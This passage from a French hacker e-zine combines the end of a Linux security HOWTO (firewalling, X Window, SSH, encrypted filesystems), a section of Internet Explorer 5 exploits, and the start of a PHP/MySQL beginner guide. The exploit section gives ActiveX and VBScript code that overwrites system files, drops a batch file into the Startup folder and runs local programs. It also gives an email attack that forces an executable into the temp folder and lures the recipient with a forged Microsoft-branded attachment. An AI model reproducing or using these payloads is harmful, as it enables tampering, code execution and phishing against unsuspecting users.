      détecter ce genre d'activité, ce qui peut alarmer les responsables du site.
      
      #accounting
      ipfwadm -A -f
      ipfwadm -A in -i -W ppp0
      
      traiter des routeurs (tables, capacité de droper des paquets, comme le code de firewalling mais généralement + rapide car matos dédié)
    • (EB) Utiliser l'IP Masquerading au lieu d'un firewall classique. (question : pourquoi ?)
    • (EB) utiliser ssh plutôt que telnet et les commandes 'r' (rcp, rsh, rlogin)
    • vider /etc/inetd.conf et ne pas laisser inetd fonctionner (Red Hat : éditer /etc/rc.d/init.d/inet, ajouter un "exit 0" au début)
    • utiliser un logiciel assurant des connexions et transferts de fichiers sécurisés (par exemple ssh). ATTENTION : une autorisation est parfois requise, se renseigner au préalable.
    • utiliser tcpdump, durant les connexions à l'Internet, pour capturer tout paquet issu de domaines inconnus. Par exemple en plaçant dans le script de démarrage de session PPP (souvent /etc/ppp/ppp-on) la commande :
      xterm -display unix:0.0 -e tcpdump -l -p -i ppp0|grep -v
      ' Nom-Proxy-Du-Fournisseur\.Numéro-Port[ :]'
      noter les espaces. ne matchera pas un sous-domaine (mode PARANO !)
      

      surveiller l'activité avec trafshow (qui donc parvient à employer la v2 avec PPP ?) (trafshow -i ppp0 -S -r 300 -r 0 -u 1) l'invoquer ds ppp-on

    7.6 X Window

    • ne démarrer X Window que grâce à l'alias x ainsi défini :
      alias x='(startx >/dev/null &);clear;logout'
      

      Explication : (dans le cas le plus commun) l'utilisateur se loge en mode console (hors de X Window, donc) puis invoque startx. Mais sa session de travail en mode console demeure accessible à quiconque peut accéder à son clavier. Elle permet de retrouver la session shell grâce à laquelle il invoqua X. Un pirate pourra par exemple (ces manoeuvres ne sont pas dangereuses, les essayer si nécessaire, afin de bien comprendre) :
      • attendre que sa victime s'éloigne de son poste de travail sans quitter X Window
      • composer Contrôle-Alt-F1 pour retrouver le shell. cela lui donnera satisfaction même si un programme de verrouillage de la session X Window fonctionne
      • (si nécessaire) expédier le serveur X en tâche de fond : composer Contrôle-Z et introduire bg. ou bien le tuer (Contrôle-C suffit)
      L'alias x ici proposé lance X Window puis « déloge » l'utilisateur afin de ne pas laisser la session en mode console. On peut aussi modifier startx de sorte qu'il ne laisse pas de terminal inactif. Autre solution : employer xdm.
    • vérifier que le serveur X emploie bien des cookies (MIT-MAGIC-COOKIES). Lire la page de man de xauth et mcookie). (EB) Ne jamais utiliser xhost.
    • lire la section 'SECURITY' du man de xterm (EB) Passer en mode secure keyboard pour composer un mot de passe. Pour cela : cliquer sur Contrôle-bouton 1 et sélectionner cette option. L'affichage du terminal doit passer en vidéo inverse et cela ne doit pas émettre de son d'alarme. Composer le mot de passe puis procéder de même pour débrayer le mode sécurisé.
    • X n'est pas sûr lorsque le serveur employé est setuid root. Ne pas le laisser setuid root : utiliser XFree 3.3.2 ou bien xdm
    • placer le mot-clé "DontZap" dans la section "ServerFlags" du fichier XF86Config afin d'interdire à un mauvais plaisant d'avorter une session X Window par Contrôle-Alt-Backspace

    7.7 Secure Shell

    Un des plus importants utilitaires du domaines publique est secure shell (SSH). Ce client-serveur et capable de fournir un tunnel de chiffré entre un ou plusieurs ordinateurs, et ainsi de proteger les communications (dont les mots de passe).

    Principe de SSH

    SSH Est une application client-serveur qui permet de sécuriser les communications au travers de chiffrement, authentification de machines au travers du mecanisme RSA, et une variété d'autres options pour l'authentification des utilisateurs. Il permet de remplacer des programmes comme rlogin, rsh, et rcp. Il permet aussi de fournir une session X windows chiffrée et des sessions chiffrées pour toutes les connexions TCP.

    Le protocole ssh réalise ceci. ssh signifie secure shell. Il s'agit d'un ensemble client-serveur qui chiffre non seulement les mots de passe à la connexion, mais toute la session par la suite. C'est-à-dire que tout ce que vous tapez au clavier est chiffré (de manière plus légère néanmoins que ce qui ce passe lors de la connexion).

    Ce protocole fonctionne avec deux clés associées à chaque machine, principe du chiffrement à clé asymétrique. Ainsi, lors d'une connexion, la machine sur laquelle vous vous connectez envoie sa clé publique. Votre machine chiffre les informations à envoyer avec la clé publique, qui sont déchiffrées à l'arrivée par la clé privée.

    Une fois que vous êtes connectés par ssh, les applications X empruntent le canal sécurisé. Ce que vous saisirez dans toutes les fenêtres sera donc chiffré sur le réseau.

    ssh utilise deux niveaux d'authenfication, par nom de machine (défaut) et par utilisateur (mot de passe supplémentaire, appelé passphrase).

    Si vous ne souhaitez pas taper votre mot de passe à chaque connexion, vous devez créer un fichier .rhosts contenant une liste de paire utilisateurs/machine autorisés à se connecter sur votre compte.

    Dans ce cas, ssh continue à authentifier les machines avant la connexion, mais plus l'utilisateur !

    Obenir et installer SSH

    Vous pouvez obtenir SSH au format tar depuis ftp://ftp.cs.hut.fi/pub/ssh. Le format RPM est aussi disponible sur le site www.replay.com. Durant l'installation est possible le support avec PAM.

    Comment générer des clés d'authentification ?

    Le but de ces clés est de vous identifier de manière encore plus sécurisée que la simple information relative au nom de login et à la machine d'origine, dans le cas où un intrus a obtenu les droits root sur une machine, a pris votre identité et essaye d'accéder à vos autres comptes.

    Le principe est de générer une clé associée à un texte, et de communiquer la partie publique de la clé à toutes les machines auxquelles vous souhaitez vous connecter.

    Si, à partir d'une machine A, vous souhaitez vous connecter sur une machine B, voici les étapes à suivre :

    sur la machine A, tapez ssh-keygen. La première fois, cette commande créera un répertoire .ssh dans votre répertoire de login :

         >ssh-keygen
         Initializing random number generator...
         Generating p:            ......++ (distance x)
         Generating q:                                ....++ (distance y)
         Computing the keys...
         Testing the keys...
         Key generation complete.
         Enter file in which to save the key (/home/[labo]/[login]/.ssh/identity):
         Enter passphrase:
    

    Vous devez saisir une Passphrase, qui peut être assez longue (la documentation de ssh conseille de prendre une vingtaine de caractères, espaces permis). Cette phrase va déterminer la qualité de vos clés d'identification. Les deux parties de la clé sont ensuite générées. Dans l'exemple, la partie privée se trouvera dans le fichier .ssh/identity, la partie publique dans .ssh/identity.pub :

         Your identification has been saved in /home/[labo]/[login]/.ssh/identity.
         Your public key is:
         (longue chaîne)
         Your public key has been saved in /home/[labo]/[login]/.ssh/identity.pub
    

    sur la machine B, vous devez créer un fichier appelé authorized_keys dans le répertoire .ssh, pour indiquer à ssh quelles seront les clés publiques autorisées à se connecter.

         >cd ~/.ssh
         >touch authorized_keys
    

    Chaque fois que vous voudrez autoriser une machine A à se connecter sur la machine B, vous devrez ajouter à la fin du fichier authorized_keys la clé publique générée sur la machine A, c'est-à-dire le contenu du fichier .ssh/identity.pub de la machine A.

    procedez de même sur la machine A. Bien sûr, la passphrase choisie sur B pourra être différente ! Lorsque vous vous connectez maintenant de A vers B par ssh, vous obtiendrez un prompt du type :

    Enter passphrase for RSA key '[nom]@[machine]':: C'est ici la passphrase que vous devrez rentrer, qui peut-être différente du mot de passe. Si la phrase que vous rentrez est correcte, vous obtiendrez un shell. Sinon, ssh vous demandera votre mot de passe (au niveau d'authentification plus faible).

    <

    8. Les systèmes de fichiers chiffrés

    8.1 Présentation

    Les divers systèmes d'exploitation fournissent des équipements intégrés pour le chiffrement, par exemple les Windows 2000 a les systèmes de fichiers cryptographiques appelés EFS, et OpenBSD est fournit avec le support d'IPSec. Tandis que Linux n'a aucun système de chiffrement intégré, il existe la possibilité d'ajouter des modules tels que FreeS/WAN (chiffrement des données TCP-IP), CFS (un filesystem chiffré), TCFS (Transparent Cryptographic File System). Avec ces modules, vous pouvez chiffrer toutes les données sur vos ordinateurs ou réseau. Une des raisons primaires qui fait que le chiffrement n'est pas plus répandu sont les diverses lois concernant l'import/export et l'utilisation de la technologie de chiffrement.

    Pour proteger vos données vous devez d'abord contrôler l'accès. Pour des données enregistrées sur des serveurs ceci est typiquement réalisé par l'intermédiaire des permissions de fichier, ou d'ACL (liste contrôle d'accès). Pour proteger correctement ces données il doivent être chiffrées. Ceci peut être fait simplement qu'en utilisant PGP pour chiffrer un fichier, ou des systèmes plus sophistiqué comme le système de fichier chiffré en temps réel. Pour Linux il y a plusieurs solutions, beaucoup en GPL et fourni en dehors des USA. Comme CFS (Cryptographic File System) ou TCFS (Transparent Cryptographic File System). CFS permet de chiffrer les les fichiers ou les répertoires au travers de nombreux systèmes de fichiers, dont ext2 et NFS sur Linux. CFS ne consserve aucun texte en clair sur le disque dur. Les utilisateurs créent et accèdent au répertoires chiffrés à travers une challenge phrase, qui est est utilisé pour générer la clé cryptographique.

    8.2 Les produits

    Acutellement il existe plus d'une dixaine de logiciel pour chiffrer votre disque dur

    1. Loopback Encryption
    2. Encrypted Home Directorys
    3. CFS - Cryptographic File System
    4. TCFS - Transparent Cryptographic Filesystem
    5. ppdd - Practical Privacy Disc Driver
    6. sfs - Steganographic File System for Linux
    7. StegFS - A Steganographic File System for Linux
    8. BestCrypt

    noyau international

    Encrypted Home Directorys Patch

    Ce systèmes de patch noyau est basé sur l'identifiant d'un utilisateur, il permet de chiffrer des mutliples répertoires /home. Encrypted Home Directorys est très facile à utiliser pour un utilisateur de base pour qui la procédure de chiffrement-déchiffrement est trasnparente, l'utilisateur une fois saisie son login ne voit pas la différence avec son répertoire habituel. Mais vous devez garder à l'esprit que le chiffrement de disque se fait en même temps que vous utilisez la machine et ceci pour tous les différents utilisateurs ce qui engendre des grandes lenteur sur les accès disque. Sans compter que vous ne pouvez pas utiliser sur une machine distance des procédure d'accès sécurisé, en effet Encrypted Home Directorys ne supporte pas le ssh et le su.

    Vous pourrez le trouver sur < url url="http://members.home.net/id-est/" name=http://members.home.net/id-est/">

    CFS - Cryptographic File System

    CFS est le premier systeme de chiffrement gratuit pour Unix. Ce systèmes pour se raccorder à un système NFS sans modifications du noyau, CFS est le système le plus portatif parmi les autres solutions. vous pouvez utiliser le cfs au-dessus du NFS de sorte que vos fichiers ne soient pas transmis en clair au-dessus du wire. Si vous désirez comprendre le fonctionnement de CFS vous pourrez lire "Cryptographic File System under Linux HOW-TO" ou "A Cryptographic File System for Unix" by Matt Blaze

    TCFS - Transparent Cryptographic Filesystem

    ppdd - Practical Privacy Disc Driver

    ppdd est un système de chiffrement de disque dur très léger. Il permet de chiffrer les disque dur sous Linux. Il utilise les meilleurs technique de chiffrement et un large choix d'algoritthme

    pdd lets you use encrypted files systems under Linux. It uses high quality encryption techniques suitable for the large volumes and the long lifetimes of data involved. It is easy to install and use and with just a little care on the users part is very difficult to misuse.

    Vous pourrez trouver ppdd depuis soit http://linux01.gwdg.de/~alatham et ftp://ftp.gwdg.de/pub/linux/misc/ppdd

    sfs - steganographic file system for Linux

    Le fond théorique des sfs a été étendu par Ross Anderson, Roger Needham et ADI Shamir dans leur papier sur " le système de fichiers de Steganographic ".

    Brièvement, un filesystem steganographic vise à être plus que juste votre chaque système de fichiers chiffré par jour. Il essaye de cacher l'information de façon à critiquer sa existence même. C'a été une tâche très difficile d'exécuter donné si peu de temps d'élaboration, mais nous avons réussi à atteindre ce but en dépit de quelques méthodes alternatives de faire des choses (lues: kludges:).

    la page web de sfs

    StegFS - A Steganographic File System for Linux

    Andrew McDonald et Markus Kuhn a fait une autre mise en place des idées dépensées dans le papier d'Anderson, de Needham et de Shamir. Ils affirment que sfs est défectueux et de cette affirmation est sorti StegFS.

    StegFS semble être vraiment raffiné et semble à première vue beaucoup plus utilisable que sfs. Puisque McDonald et Kuhn viennent la même université qu'Anderson elle semble qu'évident ils ont essayé de rassembler les critères les plus compliqué du Steganographic Filesystem.

    the same University than Anderson it seems obvious they tried hard too meet the criterias of the Steganographic Filesystem paper.

    la page web de StegFS

    BestCrypt

    Bestcrypt est un produit à orientation commercial, il est fournit avec les sources et il est aussi disponible pour MS windows et MACOS. Je n'ai pas encore eu le temps de le tester, si vous avez des infos....

    vous pourrez le trouver sur le site http://www.jetico.com/

    9. Autres infos

    Explorer les sites de "crackers" (ne pas confondre avec "hackers"). Ne pas y télécharger de logiciel (attention aux chevaux de Troie !).

    HOWTO et FAQ Linux pertinents :

    • security
    • firewalls-faq

    Quelques sites intéressants :

    Auteurs :

    • (EB) E. Bernard eb@via.ecp.fr
    • Y; Quenec'hdu yannick@quenechdu.net
    • (sbi) S. Blondeel
    • (JR) J. Rousselot
    • (ebr) E. Bonet Orozco
    • Nat nat@linux-france.org
    
    
    
    
    
    
    
    
    
    
                         _        ______________________        _
    -*6*-                 `^°*;:,.>    Divers trous    <.,:;*°^`
    _____________________________/¯¯¯m$trou et tobozo¯¯¯\___________________________
    ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,
    
    

    Vous connaissez sans doute le "trou" sous Internet Explorer qui utilise le contrôle ActiveX "SCR" , celui qui est dans le virus KAK par exemple et dont le code contient :

    <object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC" > 
    </object> 
    <SCRIPT> 
    scr.Reset(); 
    scr.Path="C:\\autoexec.bat"; 
    scr.Doc="Game Over"; 
    scr.write(); 
    </SCRIPT> 
    </object>


    On peut donc substituer le contenu d'un fichier avec quasiment n'importe quoi sauf du binaire. Le fichier contiendra toujours un paragraphe ou une ligne ressemblant à ceci :

    MSFTwwwÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
    ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
    ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
    ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
    ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿGame Over ÎyScriptletTypeLib¶ 

    Voici donc une autre méthode pour percer la sécurité d'Internet Explorer qui a plus de fonction et n'écrit pas de paragraphe bidon :


    Il faut pour cela utiliser la méthode "CreateTextFile" dont le code est le suivant :

    <SCRIPT LANGUAGE=vbscript>
    Dim trou, file
    Set trou = CreateObject("Scripting.FileSystemObject")
    Set file = trou.CreateTextFile("C:\WINDOWS\Menu Démarrer\Programmes\Démarrage\Trou.bat", True)
    File.WriteLine("@ECHO OFF")
    File.WriteLine("ECHO Ceci est un trou ...") 
    File.WriteLine("PAUSE")
    File.Write ("ECHO qui est sans danger s'il est sous cette forme .") 
    File.Close
    </Script>


    Remarque: Avant de l'exécuter, le navigateur demande si on veut exécuter le contrôle ActiveX ...


    Méthode (exemple à insérer dans le script précédent si besoin ) :

    Tâche

    Méthode Exemple
    Écrire des données dans un fichier . Write File.Write ("Bonjour")
    Ecrire des données dans un fichier . WriteLine File.WriteLine ("Bonjour")
    Écrire une ligne blanche ou plus . WriteBlankLines File.WriteBlankLines (3)
    Lire un nombre spécifié de caractères. Read Set file = Trou.OpenTextFile("C:\Autexec.bat", ForReading)
    s = ts.Read
    Lire une ligne entière . ReadLine Set file = Trou.OpenTextFile("C:\Autexec.bat", ForReading)
    s = ts.ReadLine
    Lire le contenu entier d'un fichier . ReadAll Set file = Trou.OpenTextFile("C:\Autexec.bat", ForReading)
    s = ts.ReadAll
    Déplacer un fichier . Move Set file = Trou.GetFile ("C:\Autoexec.bat")
    File.move ("C:\Windows\Autoexec.bat")
    Copier un fichier . Copy Set file = Trou.GetFile ("C:\Autoexec.bat")
    File.Copy ("C:\Windows\Autoexec.bat")
    Supprimer un fichier . Delete Set file = Trou.GetFile ("C:\Autoexec.bat")
    File.Delete
    Créer un dossier . CreateFolder Set File = CreateObject("Scripting.FileSystemObject")
    Set Trou = File.CreateFolder(" c:\dossier ") 
    CreateFolderDemo = Trou.Path
    Copier récursivement un dossier d'un emplacement vers un autre. CopyFolder FileSystemObject.CopyFolder "C:\Windows\System\*", "C:\dossier\"
    Supprimer un dossier spécifié et son contenu. DeleteFolder Set file = CreateObject("Scripting.FileSystemObject") file.DeleteFolder("C:\Dossier\)


    Voici aussi un code qui utilise le contrôle activeX "Wsh" pour ouvrir un fichier sans l'autorisation d' IE 5 :

    <html>
    <body>
    <object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'>
    </object> 
    <SCRIPT> 
    wsh.Run('c:\\autoexec.bat');
    </SCRIPT> 
    </body>
    </html>

    Il est possible de forcer la sauvegarde des fichiers sur MSIE5
    Microsoft Internet Explorer 5 en association avec le systeme de mail & news sur Win95, Win98 et Win2000 souffrent d'un trou de securite qui permet aux mechants crackers de forcer la sauvegarde d'un fichier sur une machine cible malgré les fenetres d'alerte et les warnings.

    Les Systemes Vulnerables :
    IE5.0 (Toutes les plateformes Windows)
    IE5.1 (Toutes les plateformes Windows)

    Description :
    Creer un fichier html dans lequel il faudra inclure un programme executable encodé en base_64:

    <frameset rows="10%,*">
    <frame src="mars.exe" >
    </frameset>

    Creer un autre fichier html ( de type mail ou news) et l'envoyer a la machine cible. A la réception et ouverture, le destinataire devra "sauver", "ouvrir" ou "annuler". Dans tous les cas aucun de ces choix ne marchera. Pendant que le destinataire contemple les choix, le fichier est quand meme placé dans le répertoire temporaire (%windir%\temp). Séléctionner un de ces trois choix s'avere inutile car le fichier est toujours déposé dans le meme repertoire temporaire. Meme en reglant les soit-disants parametres de sécurité au maximim, on n'arrive qu'a generer un message d'erreur tout aussi inutile : le fichier est toujours livré dans le rep temporaire.

    La Vulnérabilité

    Creer un second fichier contenant un controle ActiveX (CLSID:15589FA1-C456-11CE-BF01-00AA0055595A) et qui va autoriser l'execution des fichiers localement (merci billou). Y incorporer le Javascript qui va appeler l'ActiveX en base_64 et mettre le tout dans une deuxieme frame html :

    <frameset rows="10%,*">
    <frame src="mars.exe" >
    <frame src="lunar.mhtml" >
    </frameset>

    Appliquer le tag meta HTTP-EQUIV refresh:

    <meta http-equiv="refresh"content="5; url=mhtml:file://C:\WINDOWS\TEMP\lunar.mhtml">

    (NOTE: Etant donné que ca peut varier, il va falloir jouer ca sur un coup de poker et partir du principe que le repertoire par defaut est C:\WINDOWS\TEMP).
    Repasser le binaires une seconde fois an base64.

    Dans cet exemple, génériquement dilué, le lien est cliqué, le fichier mars.mhtml va déposer les fichiers *.exe et *.mhtml dans le repertoire temporaire. Le client va afficher une boite de dialogue proposant de "sauver", "ouvrir" ou "annuler" sans tenir compte du choix en ce qui concerne la sauvegarde dans le repertoire temporaire, le tag meta refresh va faire recharger le *.mhtml dans le repertoire temporaire, l'ouvrir et executer le Javascript avec le controle active-x puis enfin lancer l'executable (c'est tordu mais ca marche).

    Etant donné que le fichier est lancé localement, aucun des parametres de securité internet/intranet/zone n'est pris en compte.

    Exemple concret :
    http://www.madchat.org/exploits/mars.mhtml

    (NOTE: Doit etre exécuté offline, le fichier exe n'est pas un virus et se declenche environs 5 secondes apres avoir répondu au prompt).

    C'est faisable a partir de l'email?

    Vivi bien sur mais c'est deja moins évident :

    Créer deux séries de messages html :

    (a) Le premier compromettant le fichier a etre livré:

    <frameset rows="10%,*">
    <frame src="refresh.bat" >
    </frameset>

    Exemple concret :
    http://www.madchat.org/exploits/refresh.eml

    (NOTE: doit etre lancé depuis le client courrier. Produit un simple *.bat contenant "@exit")

    (b) Le second compromettant un *.url fabriqué frauduleusement:

    Content-Type: application/octet-stream;
    name="Microsoft TechNet Security.url"
    Content-Transfer-Encoding: 7bit
    Content-Disposition: attachment;
    filename="Microsoft TechNet Security.url"

    [DEFAULT]
    BASEURL=C:\WINDOWS\TEMP\refresh.bat
    [InternetShortcut]
    URL=C:\WINDOWS\TEMP\refresh.bat

    On inclut un faux lien : <font color=blue style="cursor:hand">....

    Le destinataire est donc forcé a ouvrir le fichier *.url bidon s'il veut avoir acces a son info.

    Exemple concret :
    http://www.madchat.org/exploit/secureme.eml

    (NOTE: uniquement depuis le client mail.)

    Le Scenario n'est pas evident ?

    Envoyer le premier courrier et le second courrier separement a la machine cible (dans l'ordre).
    Le destinataire va ouvrir le premier msg (save, open, cancel) pendant que le fichier est déposé dans le repertoire temporaire. A l'ouverture du second email apparemment assez innocent (si toutefois la provenance de m$ est un gage de confiance et de securite hehe) le destinataire va tomber sur le faux lien et ouvrir l'attachement (.url) qui pointe sur le C:\WINDOWS\TEMP\ ou les fichiers livrés plus tot attendent patiemment.

    Ce scénario peut etre inclus dans un simple message email (attachements).



    Contrib, autoriat et recherches :
    sinkhole@malware.com
    http://members.xoom.com/malware
    Traduction et tests : tobozo@madchat.org

    
    
    
    
    
    
    
    
                         _        ________________________        _
    -*7*-                 `^°*;:,.>PHP/APACHE/MYSQL HOWTO<.,:;*°^`
    _____________________________/¯¯¯¯¯courou & tobozo¯¯¯¯\__________________________
    ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
    
    

    Crédit

    L'auteur : courou

    Ce HOW-TO provient en grande partie de notre echange de mail avec tobozo
    Il sera disponible de facon permanente et mis a jour régulierement sur le site
    http://www.nexen.net/allreponse dans la section HOWTO de PHP

    Sommaire

  • Qu'est ce que c'est le php3
  • Origine du php
  • C'est gourmand en ressource système ?
  • Je risque pas de me trouver face a un serveur UNIX ?
  • Ou trouver des hebergeurs qui supportent ses scripts ?
  • Ou telecharger PHP ?
  • Ou telecharger Mysql ?
  • Comment programme t'on ?
  • Ou trouver de la documentation ?
  • Comment connaitre ou reconnaitre son serveur ?
  • Pourquoi installer le serveur apache sur son PC ?
  • Comment installer et configurer le serveur apache sous windows ?
  • Comment installer et configurer le serveur apache/php3 sous UNIX ?
  • Installer mysql sous Unix ?
  • Installer mysql sous Windows ?
  • Installer mysql sous Windows NT ?
  • Installer MyAdmin ?
  • Ma page index.php3 ne se charge pas ?
  • Comment est structurée une base de donnée ?
  • Peut on utiliser un format texte (csv) au lieu d'utiliser mysql ?
  • C'est quoi un requete SQL
  • Les moteurs de recherche vont t-il indexer mon site malgres qu'il soit dynamique ?
  • Problème avec Note Pad (les retour chariots)
  • Un exemple concret de fichier csv
  • Quel est l'avantage d'une base de donnée ?
  • Un script qui permet d'afficher le contenu d'un fichier csv dans un tableau
  • Comment stocker le header dans un fichier php3 ?
  • Un exemple concret de header, footer, config et index.php3
  • Comment stocker les variables du config.php3 dans ma base de donnée ?
  • Comment faire des liens sur mes pages ?
  • Comment coder la police de caractere et la taille ?
  • Je suis heberge en php 4 , mes scripts sont en php3 et j'ai plein de WARNING ?
  • J'ai plein de table a creer je dois les creer à la main (y pas plus simple) ?
  • J'ai recupere un script php mais par quoi on commence ?
  • Impossible d'affichier un fichier qui se trouve dans un repertoire a partir de mon index.php3
  • Je n'arrive pas a faire varier mes pages a partir de l'index.php3 ?
  • Comment passer des variables d'une page à l'autre (la methode POST et la methode GET) ?
  • Ou trouver des scripts en php ?
  • La fonction mail() de php
  • La fonction page-1 ca existe ?
  • Comment faire quand j'appelle mes pages depuis la page index , pour ne pas rajouter de ../ devant chaque image ?
  • Comment proteger une page ?
  • Comment proteger un repertoire ?

  • Le php

    PHP est un langage interprété (un langage de script) exécuté du côté serveur (comme les scripts CGI, ASP, ...) et non du côté client (un script écrit en Java script ou un applet Java s'exécute sur votre ordinateur...). La syntaxe du langage provient de celles du langage C, du Perl et de Java. Ses principaux atouts sont:

    • La gratuité et la disponibilité du code source (PHP3 est distribué sous licence GPL)
    • L'accessibilite du langage aux debutants
    • la possibilité d'inclure le script PHP plus facilement au sein d'une page HTML qu'avec des scripts CGI
    • La simplicité d'interfaçage avec des bases de données (de nombreux SGBD sont supportées, mais la plus utilisée avec ce langage est MySQL, un SGBD gratuit sur les plateformes Linux et win32). Vous pourrez la télécharger ici.)
    • L'intégration au sein de nombreux serveurs web ( Apache, Microsoft IIS, ... )


    Origine du PHP

    Le langage PHP a été mis au point au début d'automne 1994 par Rasmus Lerdorf. Ce langage de script lui permettait de conserver la trace des utilisateurs venant consulter son CV sur son site, grâce à l'accès à une base de données par l'intermédiaire de requêtes SQL. Ainsi, étant donné que de nombreux internautes lui demandèrent ce programme, Rasmus Lerdorf mit en ligne en 1995 la première version de ce programme qu'il baptisa Personal Sommaire Page Tools, puis Personal Home Page v1.0 (traduisez page personnelle version 1.0). Étant donné le succès de PHP 1.0, Rasmus Lerdorf décida d'améliorer ce langage en y intégrant des structures plus avancées telles que des boucles, des structures conditionnelles, et y intégra un package permettant d'interpréter les formulaires qu'il avait développé (FI, Form Interpreter) ainsi que le support de mSQL. C'est de cette façon que la version 2 du langage, baptisée pour l'occasion PHP/FI version 2, vit le jour durant l'été 1995. Il fut rapidement utilisé sur de nombreux sites (15000 fin 1996, puis 50000 en milieu d'année 1997). A partir de 1997, Zeev Suraski et Andi Gurmans rejoignent Rasmus pour former une équipe de programmeurs afin de mettre au point PHP 3 (Stig Bakken, Shane Caraveo et Jim Winstead les rejoindra par la suite). C'est ainsi que la version 3.0 de PHP fut disponible le 6 juin 1998. A la fin de l'année 1999, une version bêta de PHP, baptisée PHP4 est apparue...



    C'est gourmand en ressource système ?

    Tout depend comment on l'utilise. Chez soi les ressources requises sont tres limitees, un simple 486 avec 64mo peut faire l'affaire. Pour plus de sollicitations, une config serveur standard peut faire l'affaire.



    Je risque pas de me trouver face à un serveur UNIX ?

    Les fournisseurs d'acces gratuits qui proposent php sont nombreux et heureusement pour nous, ils tournent pour la plupart sous X. Il n'y a pas besoin de savoir programmer sous unix pour faire du php, c'est la meme manip que pour du html, c'est le code qui change c'est tout ...



    Ou trouver des hebergeurs qui supportent ses scripts ?

    http://www.altasecu.com           ==>     php 3 / perl

    http://free.fr                               ==>     php 3 / mysql

    http://www.nexen.net                ==>     php 4 / mysql

    Nexen est le meilleur de tous les hébergeurs. Il tourne sur mysql et php4 (ca arrache)
    Par contre faut pas y mettre des trucs illégaux car l'administrateur surveille de près...



    Ou telecharger PHP

    Pour télécharger la version 4 cliquez ----------------) ici

    La version 4 en est deja a la release 2, il vous faudra aussi le zend optimizer. Pour les utilisateur de Windows, n' oubliez pas de renommer le fichier php3.ini.dist en php3.ini



    Ou telecharger MYSQL

    Pour télécharger MySQL cliquez -------------------------------) ici ou la

    Vous choisissez suivant votre OS (Windows 95/98, Windows NT, Linux, Unix, ...)



    Comment programme t'on ?

    Pour programmer il faut passer par deux phases :

    1. lire du code
    2. Écrire du code

    C'est toujours de l'édition à la main. Faut voir a classer les infos selon des critères qui n'apparaissent pas forcement sur la page. Une fois ces infos classées, on obtient des catégories, des noms, des dates, des niveaux techniques, des sujets, etc. ...Tout ça peut être organisé dans une base de donnée. Le php ou le perl pourrait servir a extraire les infos de la data base et a les mettre en forme html pour donner le même résultat que vous pourriez obtenir, mais en évitant d'avoir à retaper un code html complet à l'arrivée de chaque nouvelle information.



    Ou trouver de la documentation ?

    Si vous voulez la documentation complète sur php            cliquez ----------) ici
    Si vous voulez la documentation complète sur MySQL      cliquez ----------) ici

    La documentation c'est bien beau mais quand on est débutant dans ce langage même avec la documentation on a du mal a comprendre car il y a plein de condition si votre système c'est ça alors il faut faire ça etc...

    En faite, c'est le principe même de la programmation, des conditions conditionnelles, des fonctions récursives, rémanentes, etc... Tout ça c'est des infos, que vous pouvez oublier, il faut commencer par lister les infos que vous n'avez pas afin de pouvoir les récupérer ensuite.



    Comment connaitre ou reconnaitre son serveur ?

    La chose la plus importante est de connaître le serveur sur lequel on va installer notre site Web mais il y a une chance sur deux pour que ce soit un serveur apache vu qu'ils fournissent 50% des serveurs de la planète (gratuitement).
    Il y a deux solutions pour le connaître :

    1. Lire dans la documentation propre à l'hébergeur
    2. Ouvrir un compte et écrire ce script avec le bloc note ( enregistrez le au format et le balancer sur le serveur )
    <?php
    echo phpinfo();
    ?>

    Appeler ce fichier test.php3 et uploader le sur votre hébergeur . Ensuite, allez voir sur votre adresse web: http://votrehébergeur.fr/votre_compte/test.php3
    Et après , le serveur va vous afficher une page entière avec assez d'infos pour répondre à quelques unes de vos questions.
    Le meilleur moyen de tester ce langage est d'installer le même serveur que votre hébergeur (soit un serveur apache dans plus de 50 % des cas) car ce langage s'exécutent uniquement du cote serveur et pas du coté client.



    Pourquoi installer le serveur apache sur son PC ?

    Pour deux raisons :

    1. Car les langages php 3, php 4, ssi, cgi, etc. ...sont des langages qui s'exécutent du coté serveur et pas du coté client
    2. vous avancerez plus vite car vous pourrez tester en local vos scripts


    Comment installer et configurer le serveur apache sous windows ?

    La encore ça dépend de votre système :
    Le serveur apache est conçu pour marcher avec Linux, Unix à l'origine mais il existe une version pour Windows :

    • Linux, Unix télécharger votre version --------------)   ici
    • Windows télécharger version win 32 --------------)    ici

    SI votre disque dur a 2 partitions alors installer le sur le disque d:/
    De cette façon votre  serveur n'occupera pas le même disque que votre système. Quand vous installez votre serveur apache, choisissez de le mettre direct à la racine dans c:\apache ou d:\apache et faire pareil pour mysql (c ou d:\mysql) et php (c ou d:\php3). Une fois que vous avez installer apache, il faut modifier une ligne dans le fichier httpd.conf (il se situe dans le répertoire CONF)

